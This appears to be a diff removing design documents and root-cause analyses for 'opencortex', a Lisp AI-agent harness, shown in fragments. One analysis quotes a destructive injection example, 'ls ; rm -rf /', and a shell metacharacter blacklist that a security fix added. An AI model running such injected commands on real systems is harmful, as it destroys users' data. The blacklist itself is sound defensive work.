-- **Foundation First:** Registries and logging macros must reside in the most foundational layers (`protocol` or `package`) to avoid load-order fragility.
-- **Instruct the Actuator:** When adding new channels, always update the Chat Agent's neural prompt so it knows how to "speak" back through the new interface.

-#+DATE: 2026-04-11
-#+FILETAGS: :rca:docker:deployment:infrastructure:autonomy:
-
-* Executive Summary
-Standardized the `opencortex` execution environment by creating a production-grade Docker infrastructure. This ensures that all system dependencies, including the Lisp runtime and external binaries like `signal-cli`, are locked down and portable.
-
-* 1. Architectural Intent: The "Clean Room" Model
-** Problem
-The `opencortex` was relying on host-local binaries (`sbcl`, `signal-cli`) and manually configured Quicklisp dists. This made deployment to other environments (e.g., a VPS or a Autonomous Home Server) fragile and prone to version drift.
-** Solution
-1. **Dockerfile:** Created a multi-step build process that installs Debian Bookworm, SBCL, Java, and `signal-cli 0.14.0`.
-2. **Pre-Caching:** The build process triggers a `ql:quickload` of the `:opencortex` system, ensuring all Lisp dependencies are pre-downloaded and stored in the image layer, drastically reducing startup time.
-3. **Compose Orchestration:** Standardized the runtime via `docker-compose.yml`, which handles volume mounting of the user's `memex` directory and injection of `.env` secrets.
-
-* 2. Volume Mapping & Persistence
-** Strategy
-To maintain the "Autonomous" mandate, the agent's code is isolated, but its memory (the `memex`) remains on the host. 
-- **Mapping:** `../..` (host) -> `/memex` (container).
-- **State:** Created a named Docker volume `signal-state` to ensure that `signal-cli` identities and cryptographic keys survive container restarts and image updates.
-
-* 3. Alignment with opencortex Mandates
-** Evolutionary Completion
-By moving to Docker, we have achieved "Evolutionary Completion" for the deployment track. The system is no longer a collection of scripts; it is a deployable appliance.
-** Documentation
-A new `Deployment Guide` was added to `docs/deployment.org` to ensure standard operating procedures are preserved.
-
-* 4. Permanent Learnings
-- **Lisp Build Layers:** Always push the system to the ASDF registry and quickload during Docker build to bake dependencies into the image.
-- **Compose Locality:** Placing the `docker-compose.yml` inside the `projects/opencortex/` folder keeps infrastructure code close to the implementation logic.

-#+TITLE: Root Cause Analysis: Asynchronous Lisp Repair Syntax Gate
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:lisp:repair:decoupling:architecture:autonomy:
-
-* Executive Summary
-Reimplemented the `org-skill-lisp-repair` to align with the "Autonomous Boundary" mandate. The previously synchronous, core-blocking repair logic has been replaced with an asynchronous, event-driven architecture using the Reactive Signal Pipeline.
-
-* 1. Issue: Core Bloat & Synchronous Coupling
-** Symptoms
-The initial implementation of the Lisp Repair gate placed a `handler-case` and a dynamic function call (`repair-lisp-syntax`) directly inside the core `think` function (`probabilistic.lisp`). This forced the core to wait for repairs and made it "aware" of specific repair logic.
-** Root Cause
-Architectural shortcutting. By placing repair logic in the core execution path, we violated the microkernel principle which mandates that the core should be a "dumb" signal processor.
-** Resolution
-1. **Refactored Core:** `think` now only emits a `:syntax-error` stimulus if parsing fails. It no longer attempts to repair.
-2. **Asynchronous Skill:** `skill-lisp-repair` now triggers on the `:syntax-error` event. It performs the repair and returns the corrected action, which is then dispatched by the pipeline.
-
-* 2. Side-Issue: Nested Signal Payloads
-** Symptoms
-`TYPE-ERROR` during testing when extracting the broken code from the stimulus.
-** Root Cause
-Mismatched expectations of signal nesting. The skill expected the code at `(getf context :payload)`, but in the `decide-gate`, `context` is the full signal, and the error details were nested inside the `:candidate` field of that signal.
-** Resolution
-Updated the deterministic logic to correctly traverse the nested signal structure: `(getf (getf context :candidate) :payload)`.
-
-* 3. opencortex Mandate Alignment
-** Autonomous Boundary
-The core is now strictly a parser. Repair is an optional, user-space service.
-** Reactive Signal Pipeline
-Leveraged the pipeline's ability to re-inject `EVENT` signals to flatten the recursion of the repair loop.
-
-* 4. Permanent Learnings
-- **Emit, Don't Call:** In a microkernel, if a non-fatal error occurs, always emit a signal rather than calling a recovery function. This allows the system to remain asynchronous and modular.
-- **Signal Inspection:** When writing deterministic gates, always verify the exact shape of the `context` signal being passed by the harness to avoid nesting errors.

-* Executive Summary
-Successfully implemented a high-fidelity browsing bridge using Playwright and Python. This allows the `opencortex` to interact with modern, JavaScript-rendered web applications that were previously inaccessible via simple HTTP clients.
-
-* 1. Architectural Strategy: The I/O Bridge
-** Problem
-Common Lisp lacks a mature, native Playwright implementation. Direct bindings are complex and fragile.
-** Resolution
-Implemented a **JSON-over-STDIO Bridge**. 
-- A standalone Python script (`browser-bridge.py`) manages the Playwright lifecycle and Chromium instance.
-- The Lisp kernel communicates with this script using `uiop:run-program`, passing parameters via `stdin` and receiving structured results via `stdout`. This provides a stable, decoupled interface.
-
-* 2. Environment & Dependency Management
-** Issue
-Playwright requires a specific version of Chromium and several system-level libraries not present in the base Debian image.
-** Resolution
-Updated the `Dockerfile` to:
-1. Install Python3, pip, and venv.
-2. Create a virtual environment for isolated dependency management.
-3. Install the `playwright` package and execute `playwright install --with-deps chromium` during the image build. This ensures the production container is ready for high-fidelity browsing immediately upon startup.
-
-* 3. Cognitive Tooling
-Created the `:browser` cognitive tool, which exposes three primary capabilities to Probabilistic Engine:
-- **Navigation:** Full JS rendering and waiting for network idle.
-- **Extraction:** Targeted text retrieval via CSS selectors.
-- **Vision:** Base64-encoded screenshot capture for future multimodal processing.
-
-* 4. opencortex Mandate Alignment
-** Zero-Bloat (Managed)

-
-* 1. Issue: Fragile Response Parsing (Gemini)
-** Symptoms
-Gemini API responses were returning `NIL` content during mocked unit tests, despite the JSON structure being seemingly correct.
-** Root Cause
-Recursive `assoc` / `car` / `cdr` chains were hardcoded and brittle. Specifically, the Gemini extraction logic was incorrectly attempting to treat a single alist pair as a list of pairs, causing `assoc` to fail on the `:TEXT` key.
-** Resolution
-Implemented a robust `get-nested` helper function that safely traverses both nested objects (alists) and arrays (lists of alists). This normalized the extraction logic across all providers.
-
-* 2. Issue: Decoupled Build Configuration
-** Symptoms
-Provider logic was present in the codebase but inaccessible during tests and runtime.
-** Root Cause
-The `credentials-vault.lisp` and `llm-gateway.lisp` files (consolidated in a previous session) were never added to the `opencortex.asd` system definition. Furthermore, an incorrect loading order caused `UNDEFINED-FUNCTION` errors for `register-probabilistic-backend`.
-** Resolution
-1. Added both files to `opencortex.asd`.
-2. Enforced strict loading order: `probabilistic` (defines registry) -> `credentials-vault` -> `llm-gateway` (uses registry).
-
-* 3. Issue: Credential Key Mismatch
-** Symptoms
-Gemini requests failed with "API Key missing" even when environment variables were set.
-** Root Cause
-`llm-gateway` requested secrets for the `:gemini-api` provider, but the `credentials-vault` fallback logic only recognized the `:gemini` keyword.
-** Resolution
-Updated `vault-get-secret` to map both `:gemini` and `:gemini-api` to the same `GEMINI_API_KEY` environment variable.
-
-* 4. opencortex Mandate Alignment
-** Invariant Check
-- *High-Integrity Memory:* All individual provider tracks are now backed by automated unit tests (`llm-gateway-tests.lisp`).
-- *Literate Programming:* Updated `org-skill-llm-gateway.org` to reflect the improved `get-nested` utility.
-
-* 5. Permanent Learnings
-- **Tooling vs Source:** Tangled `.lisp` files are not enough; always ensure new modules are registered in the `.asd` file to be part of the official kernel build.

-N/A (Deterministic test injection).
-** Resolution
-Created `self-fix-tests.lisp` which:

-2. Triggers the bug to produce a `PIPELINE CRASH`.
-3. Injects a `:repair-request` stimulus.
-4. Executes `self-fix-apply` to replace the bug with `(+ 1 2)`.
-5. Verifies the file content and successful hot-reload.
-
-* 2. Side-Issue: ASDF Configuration Fragility
-** Symptoms
-Repeated `LOAD-SYSTEM-DEFINITION-ERROR` and "unmatched close parenthesis" errors during test integration.
-** Root Cause
-Complexity in the `:components` nesting of `opencortex.asd` led to repeated syntax errors when using automated editing tools. The deep nesting made manual paren counting prone to "off-by-one" errors.
-** Resolution
-Refactored `opencortex.asd` to use a **Flat Component Structure**. 
-- *Before:* `:components ((:module "src" :components (...)))`
-- *After:* `:components ((:file "src/package") ...)`
-This eliminates unnecessary nesting levels and drastically reduces the surface area for syntax errors.
-
-* 3. opencortex Mandate Alignment
-** Invariant Check
-- *Lisp Machine Autonomousty:* Verification utilized hot-reloading (`load-skill-from-org`) without restarting the SBCL image.
-- *Literate Programming:* Updated `org-skill-self-fix.org` to match the finalized `self-fix.lisp` logic.
-- *Institutional Memory:* This RCA documents the decision to flatten the `.asd` structure to prevent future "Parenthesis Hell" incidents.
-
-* 4. Permanent Learnings
-- **Flatten Configuration:** Keep `defsystem` definitions as flat as possible. The overhead of `:module` blocks often outweighs their organizational benefit in a probabilistic-deterministic environment where agents frequently edit these files.

-* Executive Summary
-During the formal verification of the `org-skill-shell-actuator`, a critical command injection vulnerability was identified and patched. The previous implementation relied on a naive whitelist check that could be bypassed using shell metacharacters.
-
-* 1. Issue: Command Injection Vulnerability
-** Symptoms
-Commands like `ls ; rm -rf /` were potentially executable if the first word (`ls`) was in the whitelist. 
-** Root Cause
-The `execute-shell-safely` function only checked the first space-delimited word of the command string against the `*allowed-commands*` whitelist. Since `uiop:run-program` executes string-based commands via `/bin/sh -c`, the shell would process the entire string, including injected commands following metacharacters like `;`, `&`, or `|`.
-** Resolution
-1. **Metacharacter Blacklist:** Introduced `*shell-metacharacters*` containing dangerous shell symbols (`; & | > < $ \` \ !`).
-2. **Strict Validation:** Updated `execute-shell-safely` to scan the *entire* command string for these characters before performing the whitelist check.
-3. **Defense-in-Depth:** Any command containing a metacharacter is now rejected with a "Security Violation" error, even if the primary command is whitelisted.
-
-* 2. Side-Issue: Missing Package Context
-** Symptoms
-`UNDEFINED-FUNCTION EXECUTE-SHELL-SAFELY` during unit tests.
-** Root Cause
-`src/shell-logic.lisp` was missing an `(in-package :opencortex)` declaration, causing symbols to be defined in the default `COMMON-LISP-USER` package instead of the harness package.
-** Resolution
-Added the `in-package` header to `shell-logic.lisp`.
-
-* 3. opencortex Mandate Alignment
-** Invariant Check
-- *High-Integrity Memory:* The shell actuator is now formally verified with 4 new unit tests covering whitelist enforcement and injection blocking.
-- *Literate Programming:* Updated `org-skill-shell-actuator.org` Phase A and Build sections to reflect the hardened logic.
-
-* 4. Permanent Learnings
-- **Whole-String Validation:** Never assume that whitelisting the "head" of a command string is sufficient when passing that string to a shell.

-
-* 1. Issue: Undefined `SAFETY-HARNESS-VALIDATE`
-** Symptoms
-Existing `SAFETY-SUITE` tests failed with `#<UNDEFINED-FUNCTION SAFETY-HARNESS-VALIDATE>`.

-#+TITLE: Stage 3: Act (act.lisp)
-#+AUTHOR: Amr
-#+FILETAGS: :harness:act:
-#+STARTUP: content
-
-* Stage 3: Act (act.lisp)
-
-** Architectural Intent: The Last Mile
-
-The Act stage is where cognition meets reality. After the Probabilistic engine proposes and the Deterministic engine verifies, Act executes the approved action.
-
-The key insight of the Act stage is that *execution is the point of no return*. Once a command is sent to the shell or a file is written, side effects have occurred. Therefore, Act implements a "last-mile" safety check - even after skills have verified the action, there's a final validation before dispatch.
-
-** Why Separate Actuators?
-
-The actuator pattern decouples /what to do/ from /how to do it/:
-
-- The reasoning engine generates action plists like `(:TYPE :REQUEST :TARGET :SHELL :PAYLOAD ...)`
-- The actuator interprets the target and executes appropriately
-- Adding a new actuator (Telegram, Matrix, etc.) doesn't require changing the reasoning code
-
-This follows the Open/Closed principle: open for extension, closed for modification.
-
-** The Feedback Loop
-
-Act is unique in the pipeline because it can generate new signals. When a tool executes and returns data, that data becomes a new signal that feeds back into Perceive → Reason → Act.
-
-Example feedback chain:
-1. User asks "What files changed today?"
-2. Reason generates shell command action
-3. Act executes shell, gets file list
-4. Act returns file list as feedback signal
-5. Reason processes file list, generates human-readable response
-6. Act displays response

-
-* Peripheral Vision (context.lisp)
-** Architectural Intent: Context Optimization & The Foveal-Peripheral Hybrid
-
-A common failure mode for Large Language Models (LLMs) is the "Lost in the Middle" phenomenon, where the model's reasoning accuracy degrades as its context window becomes saturated with irrelevant data. Naive approaches to context management—such as simple character-count truncation or sliding windows—often sever the structural relationships that define an Org-mode Memex.
-
-The ~opencortex~ harness implements a deterministic, tree-aware solution: the **Foveal-Peripheral Hybrid Model**.
-
-*** 1. The Foveal Focus (High Resolution)
-When the harness prepares a prompt for the Probabilistic Engine, it identifies a "Foveal Focus"—typically the specific Org headline or task the user is currently interacting with. This node, along with its immediate children and semantically relevant neighbors, is rendered at "High Resolution," meaning its full body text, properties, and metadata are included in the prompt.
-
-*** 2. The Peripheral Vision (Low Resolution)
-To maintain global awareness without bloating the context window, the rest of the Memex is rendered at "Low Resolution." The harness recursively walks the Memory and generates a skeletal outline consisting only of titles and IDs. This gives the LLM a "mental map" of the entire system, allowing it to reference other projects or skills without needing to see their full content until they are explicitly brought into focus.
-
-*** 3. Deterministic Tree-Walking
-By leveraging Common Lisp's strengths in recursive tree manipulation, the harness can surgically prune the AST before it ever reaches the LLM. This ensures that the structural hierarchy of the Memex is preserved perfectly, even when the content is compressed.
-

-
-* Context Assembly (context.lisp)
-The ~context.lisp~ module provides the deterministic functional layer for querying the Memory and transforming its internal pointers into the precise context strings required for neural reasoning.
-
-** Package Context
-We begin by ensuring we are executing within the correct isolated package namespace.
-
-#+begin_src lisp :tangle ../library/context.lisp
-(in-package :opencortex)
-#+end_src
-
-** Querying the Store (context-query-store)
-A generalized filter for the Memory. This function allows skills to perform high-level semantic sweeps of the Memex based on tags, TODO states, or Org element types. It returns a list of ~org-object~ structures.
-
-#+begin_src lisp :tangle ../library/context.lisp

-             (context-query-store :tag "project" :type :HEADLINE)))
-#+end_src
-
-** Completed Tasks (context-get-recent-completed-tasks)
-Retrieves a list of tasks that have reached the terminal ~DONE~ state. This is useful for providing the agent with historical context or for generating summaries of recent work.
-
-#+begin_src lisp :tangle ../library/context.lisp
-(defun context-get-recent-completed-tasks () 
-  "Retrieves recently finished tasks from the store."
-  (context-query-store :todo-state "DONE" :type :HEADLINE))
-#+end_src
-
-** Capability Discovery (context-list-all-skills)
-Provides a sorted list of all currently loaded skills. In a "Self-Writing" environment, the agent must be able to discover and understand its own capabilities. This function provides the metadata necessary for the agent to decide which skill to trigger or how to resolve dependencies.
-

-** Skill Inspection (context-get-skill-source)
-Reads the raw literate Org source of a specific skill. This is a foundational capability for an agent expected to eventually "self-write" or perform its own maintenance. By reading the literate source, the agent can understand the *intent* behind a skill's logic before proposing a modification. We use the `SKILLS_DIR` environment variable to locate the source files.

-
-It implements the following deterministic logic:
-1.  **Depth 1 & 2:** Always rendered (High-level mental map).
-2.  **Foveal Node:** Rendered with full body content.
-3.  **Semantic Neighbors:** Rendered with full content if their similarity score exceeds the threshold.

-#+AUTHOR: Amr

-#+STARTUP: content
-
-* The Metabolic Loop (loop.lisp)
-** Architectural Intent
-
-The Metabolic Loop is the /cranial nerve reflex/ of OpenCortex. While skills provide specialized intelligence, the loop provides the fundamental rhythm of existence: the continuous processing of signals from perception through cognition to action.
-
-Unlike a simple event loop, the Metabolic Loop implements a sophisticated error recovery model. When the system encounters an error, it distinguishes between:
-
-1. *Transient errors* (tool failures, network timeouts) - recoverable, no state rollback
-2. *Critical errors* (undefined functions, malformed data structures) - require memory rollback
-3. *Recursive loops* (signals generating more signals indefinitely) - depth limit enforcement
-
-This design ensures the agent remains stable under adverse conditions while preserving the ability to recover from genuine system failures.
-
-** Why Separate Perceive-Reason-Act?
-
-The three-stage pipeline mirrors the classical sense-think-act paradigm but with a crucial difference: each stage is a pure function that transforms a signal. This allows:
-
-- *Perceive* to normalize raw input into a standardized signal format
-- *Reason* to transform the perceived signal into an approved action (or reject it)
-- *Act* to execute the approved action and potentially generate a feedback signal
-
-The feedback loop (Act returning a signal that feeds back into Perceive) enables complex multi-step operations where each action can trigger subsequent reasoning.
-
-** Thread Safety
-
-The loop operates in a multi-threaded environment:
-- The main thread runs the heartbeat and idle loop
-- Async sensors spawn threads for non-blocking I/O
-- Interrupt handling requires mutex protection to prevent race conditions
-

-#+end_src
-
-* The Metabolic Pipeline
-
-** process-signal: The Core Engine
-
-This function implements the Perceive-Reason-Act pipeline. It processes a signal through all three stages and handles the feedback loop where Actions can generate new signals.
-
-The depth counter prevents infinite recursion—a signal that generates another signal that generates another, etc. By limiting to depth 10, we ensure the system eventually converges or gracefully terminates.

-
-** The Feedback Loop Explained
-
-The pipeline implements a feedback loop where Act can return a new signal:
-
-1. User input arrives → Perceive normalizes it
-2. Reason generates an action → Act executes it
-3. If the action was a tool call that returned new information → Act returns a feedback signal
-4. Feedback signal feeds back into step 1 for further reasoning
-
-This enables multi-step workflows where each action can trigger additional analysis.
-
-* Heartbeat Mechanism
-
-The heartbeat thread ensures the agent remains alive even without external input. It drives two critical functions:
-
-1. **Latent reflection** - the agent can think without external prompting
-2. **Periodic maintenance** - memory auto-save, orphan detection, etc.

-* Manifest (opencortex.asd)
-
-** Architectural Intent: The Thin Harness Philosophy
-
-The ~opencortex.asd~ file is the physical blueprint of the Lisp Machine. It uses **ASDF** (Another System Definition Facility) to orchestrate compilation and loading of all harness modules.
-
-The core design principle is *Thin Harness, Fat Skills*:
-
-- **Harness** = The minimal, unbreakable core (protocol, signal processing, memory)
-- **Skills** = The intelligence layer (policy, validation, actuation, LLM integration)
-
-This separation means:
-- The harness rarely changes (immune system)
-- Skills can be hot-loaded, modified, and swapped without touching the core
-- Bugs in skills don't crash the system
-
-** Why ASDF?**
-
-ASDF is the de facto standard for Common Lisp project management. It:
-1. Handles dependency resolution and loading order
-2. Compiles files in the right order (preventing "undefined function" errors)
-3. Supports system building for deployment
-4. Integrates with Quicklisp for dependency management

-* Design Decisions
-
-** Strict Serial Loading
-
-The harness uses ~:serial t~ in the ASDF definition. This means:
-
-1. Files are loaded in order: package → skills → communication → memory → context → perceive → reason → act → loop
-2. ~package.lisp~ is always loaded before any code that uses its symbols
-3. ~skills.lisp~ (defining macros like ~defskill~, ~def-cognitive-tool~) loads before skills
-
-This eliminates "macro not found" errors that plague non-linear loading systems.
-
-** Why Not Module Dependencies?**
-
-Traditional ASDF uses ~:depends-on~ to declare dependencies. We use ~:serial t~ because:
-
-1. *Explicit is better than implicit* - the loading order is visible in one place
-2. *Prevents circular dependencies* - skills are loaded after the harness, never before
-3. *Simpler debugging* - when something fails, the loading order is always clear
-
-** Isolation of Tests
-
-The testing system (~:opencortex/tests~) is separate from the production system (~:opencortex~). This means:
-
-- Production deployments don't load FiveAM (saves memory, reduces attack surface)
-- Tests can be run independently: ~(ql:quickload :opencortex/tests)~
-- Test data doesn't pollute the production image

-* The Harness Boundary Contract
-
-** Why a Boundary Contract?
-
-The harness is the immune system of OpenCortex. If it grows fat (accumulating features, dependencies, complexity), it becomes harder to:
-- Verify for security
-- Debug when things go wrong
-- Maintain across versions
-
-The Boundary Contract defines what IS the harness vs. what belongs in skills.
-
-** Primary Boundary Files
-
-| File | Purpose | Modification |
-|------|---------|--------------|
-| ~harness/*.org~ | Literate source of truth | Only via Org edits + tangle |
-| ~opencortex.asd~ | System manifest | Only via Org edits + tangle |
-| ~library/*.lisp~ | Tangled from .org | NEVER edit directly |
-
-** Generated Artifacts (NOT Primary)
-
-The ~library/*.lisp~ files are tangles from the ~harness/*.org~ files. They are derivative artifacts. Direct modification violates the Literate Granularity standard.
-
-** Protected Paths
-
-The Policy skill guards these paths by default:
-
-#+begin_src lisp
-(defvar *modularity-protected-paths*
-  '("harness/"
-    "opencortex.asd"
-    "library/package.lisp"

-    "library/perceive.lisp"
-    "library/reason.lisp"
-    "library/act.lisp"
-    "library/loop.lisp"))
-#+end_src
-
-Any agent action proposing to modify these files must include a ~:modularity-justification~ field explaining why the change cannot be implemented as a skill.
-
-** Enforcement Chain
-
-1. *Policy Skill* (priority 500) - Checks for missing justifications
-2. *Bouncer Skill* (priority 100) - Intercepts unauthorized modifications
-3. *Git Hooks* (optional) - Prevents direct .lisp commits

-
-* The System Memory (memory.lisp)
-** Architectural Intent: The Single Address Space (Live Memory)
-
-Yes, the Memory module is the cognitive bedrock of the opencortex. It is not a database; it is the agent's live, active "brain" state.
-
-Traditional architectures rely on external databases (SQLite, Vector DBs) which introduce I/O latency and structural impedance. The opencortex architecture chooses a different path: the **Single Address Space**. By treating the entire knowledge base as a graph of Lisp pointers, we achieve microsecond recollection and total structural transparency.
-
-- **Pointer-Based Reasoning:** By loading the entire knowledge graph into a live Common Lisp hash table, we achieve microsecond recollection. The harness doesn't "search a file"; it traverses a memory pointer.
-- **Memory Imaging:** The ability to snapshot the Lisp image allows the agent to resume its entire cognitive state instantly, solving the "Cold Start" problem.
-- **Merkle-Tree Integrity:** Every node in the Memory is cryptographically hashed. By recursively hashing content and children, the root hash provides a single, immutable fingerprint of the entire system state.

-** Package Context
-#+begin_src lisp :tangle ../library/memory.lisp
-(in-package :opencortex)
-#+end_src
-
-** The Object Repository
-The `*memory*` is the global hash table that holds every Org element by its unique ID. This is the "live RAM" of the agent's memory.
-
-#+begin_src lisp :tangle ../library/memory.lisp
-(defvar *memory* (make-hash-table :test 'equal))
-
-(defvar *history-store* (make-hash-table :test 'equal)
-  "Immutable Merkle-Tree versioning store mapping hashes to objects.")
-#+end_src
-
-** The Data Structure (org-object)
-Every element in the Memex (headlines, paragraphs, etc.) is represented by an `org-object` structure. It contains both semantic metadata (attributes, content) and structural metadata (parent/child pointers, Merkle hashes).
-
-#+begin_src lisp :tangle ../library/memory.lisp
-(defstruct org-object
-  id type attributes content vector parent-id children version last-sync hash)
-
-;; Enable serialization via make-load-form (standard CL)
-(defmethod make-load-form ((obj org-object) &optional env)
-  (make-load-form-saving-slots obj :environment env))
-#+end_src
-
-** Merkle Tree Integrity (compute-merkle-hash)
-The `compute-merkle-hash` function ensures the cryptographic integrity of the knowledge graph. A node's hash depends on its own properties and the hashes of all its children. This creates a recursive fingerprint where any change to a single note propagates up to the root hash.
-
-#+begin_src lisp :tangle ../library/memory.lisp
-(defun compute-merkle-hash (id type attributes content child-hashes)
-  "Computes a SHA-256 Merkle hash for a node based on its core properties and children's hashes."

-         (sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
-         (attr-string (format nil "~s" sorted-alist))
-         (children-string (format nil "~{~a~}" child-hashes))
-         (data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a"
-                              id type attr-string (or content "") children-string))

-    (ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
-#+end_src
-
-** Ingesting the AST (ingest-ast)
-The `ingest-ast` function is the primary bridge between the external world (Emacs/JSON) and the internal Lisp machine. It recursively parses an Org-mode Abstract Syntax Tree (AST) into `org-object` structures and registers them in the store.
-
-#+begin_src lisp :tangle ../library/memory.lisp

-** Memory Snapshots (snapshot-memory)
-Because objects are stored immutably in the `*history-store*`, a snapshot is a lightweight shallow copy of the active `*memory*` pointers. The system maintains a rolling buffer of 20 snapshots, allowing for near-instant, zero-cost rollback.

-* System Interface (package.lisp)
-The ~package.lisp~ file defines the public API of the ~opencortex~ harness. It serves as the primary membrane between the deterministic core modules and the dynamic world of skills and actuators.
-
-** Architectural Intent: The Package Membrane
-By strictly defining the public interface, we ensure that skills remain decoupled from the harness implementation details. This allows for autonomous replacement of any component (e.g., swapping the Memory or the Probabilistic Engine) without breaking existing skills.

-#+STARTUP: content
-
-* Stage 1: Perceive (perceive.lisp)
-
-** Architectural Intent: Sensory Normalization
-
-The Perceive stage is the "sensory cortex" of OpenCortex. Its job is to take raw stimuli from the outside world and transform them into standardized Signals that the rest of the pipeline can process.
-
-Raw stimuli come from diverse sources:
-- Terminal input (CLI)
-- Emacs org-mode buffers (via swank)
-- Telegram/Signal messages
-- Heartbeats (internal clock)
-- Shell command outputs
-
-Each source has its own format and protocol. Perceive normalizes all of them into the Signal format:
-
-: (TYPE :EVENT META (...) PAYLOAD (...))
-
-** Why Normalize?
-
-Without normalization, each downstream component (Reason, Act) would need to understand each input format. With normalization:
-
-1. The gateway layer (CLI, Emacs, Telegram) just sends raw messages
-2. Perceive transforms them into Signals
-3. Reason and Act work with a single, consistent format
-4. Adding new input sources only requires gateway code, not changes to the core
-
-** The Signal Format
-
-Signals are property lists with a consistent structure:
-
-| Key | Description |
-|-----|-------------|
-| :type | :EVENT, :REQUEST, :RESPONSE, :LOG |
-| :payload | The actual content (sensor data, actions, etc.) |
-| :meta | Metadata: source, session, reply stream |
-| :status | Processing status: :perceived, :reasoned, :acted |
-| :depth | Recursion depth for feedback loops |
-| :approved-action | Set by Reason, executed by Act |
-| :foveal-focus | ID of the node user is interacting with |
-
-** Async vs Sync Processing
-
-Some sensors (user input, chat messages) are processed asynchronously in dedicated threads. This prevents:
-- A slow API call from blocking the entire system
-- Race conditions when multiple inputs arrive simultaneously
-
-Other sensors (heartbeats, interrupts) are processed synchronously to maintain ordering guarantees.

-* Stage 2: Reason (reason.lisp)
-
-** Architectural Intent: The Dual-Engine Cognitive Architecture
-
-The Reason stage implements the core innovation of OpenCortex: the separation of probabilistic reasoning (neural/LLM) from deterministic verification (logic/safety).
-
-This dual-engine design solves a fundamental problem in AI safety:
-
-1. *Probabilistic Engine* - Uses LLMs for semantic understanding, natural language generation, and complex reasoning. It is powerful but can hallucinate, make syntax errors, or propose unsafe actions.
-
-2. *Deterministic Engine* - Uses formal verification (skills) to check LLM proposals before execution. It is slower but provably correct.
-
-The LLM proposes; the skills verify. This is the "Bouncer Pattern" - the deterministic engine is literally a bouncer that checks the LLM's proposals at the door before letting them through to execution.
-
-** Why Plists for Communication?
-
-The Reason stage communicates exclusively through property lists (plists). This design choice reflects the homoiconic nature of Lisp - plists are native data structures that can be read, written, and manipulated by the same code that processes them.
-
-A plist message like:
-: (TYPE :REQUEST TARGET :CLI PAYLOAD (ACTION :MESSAGE TEXT "Hello"))
-
-Is simultaneously:
-- Human-readable text
-- Machine-parseable data structure
-- Executable Lisp code
-
-This means the reasoning pipeline can generate, modify, and execute its own communication protocol without external parsing.

-** Architectural Intent: Late-Binding Intelligence

-A static, hardcoded architecture is inherently fragile. The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing the system to discover and integrate new cognitive capabilities (actuators, solvers, sensors) at runtime without a kernel restart.
